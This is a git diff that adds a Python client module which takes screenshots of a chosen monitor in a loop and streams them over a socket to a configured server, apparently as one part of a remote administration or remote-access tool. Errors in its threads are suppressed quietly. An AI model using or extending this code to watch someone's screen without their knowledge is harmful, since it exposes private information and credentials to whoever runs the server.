1 files changed, 70 insertions, 0 deletions
diff --git a/client/modules/desktop.py b/client/modules/desktop.py
new file mode 100644
index 0000000..bb38e1a
--- /dev/null
+++ b/client/modules/desktop.py
@@ -0,0 +1,70 @@
+'''
+    Creates a connection to the server, sending a stream
+    of screenshots from the specified monitor. Splitting
+    up the work in to two threads, one for taking the
+    screenshot, the other to send it.
+
+    Verified: 2021 February 6
+    * Follows PEP8
+    * Tested Platforms
+        * Windows 10
+    * Third Party Modules
+        * mss
+'''
+
+from client.modules.module import Module
+from shared.helper import Helper
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import mss.tools
+import socket
+import queue
+import mss
+
+if Static.WINDOWS:
+    import ctypes
+
+    # NOTE : Sets monitor DPI (zoom) to 100%,
+    # laptops usually have their DPI set to 125%,
+    # by default which this line will fix
+    Error.quiet(
+        ctypes.windll.user32.SetProcessDPIAware)()
+
+
+class Desktop(Module):
+
+    __MAX_SIZE = 1
+
+    def __init__(self, token):
+        super().__init__(token)
+        self.__queue = queue.Queue(Desktop.__MAX_SIZE)
+
+    @Error.quiet_thread
+    def __grab(self, monitor):
+        with mss.mss() as sct:
+            size = sct.monitors[monitor]
+
+            while True:
+                screenshot = sct.grab(size)
+                screenshot = mss.tools.to_png(screenshot.rgb,
+                                              screenshot.size)
+                self.__queue.put(screenshot,
+                                 timeout=Static.LIVE_TIMEOUT)
+
+    @Error.quiet_thread
+    def __send(self):
+        with socket.create_connection(
+                (Static.IP, Static.PORT)) as sock:
+            Data.send(sock, self.token)
+            Data.recv(sock)
+
+            while True:
+                Data.send(sock, self.__queue.get(
+                          timeout=Static.LIVE_TIMEOUT), False)
+                Data.recv(sock)
+
+    def live(self, monitor):
+        Helper.thread(self.__send)
+        Helper.thread(self.__grab, monitor)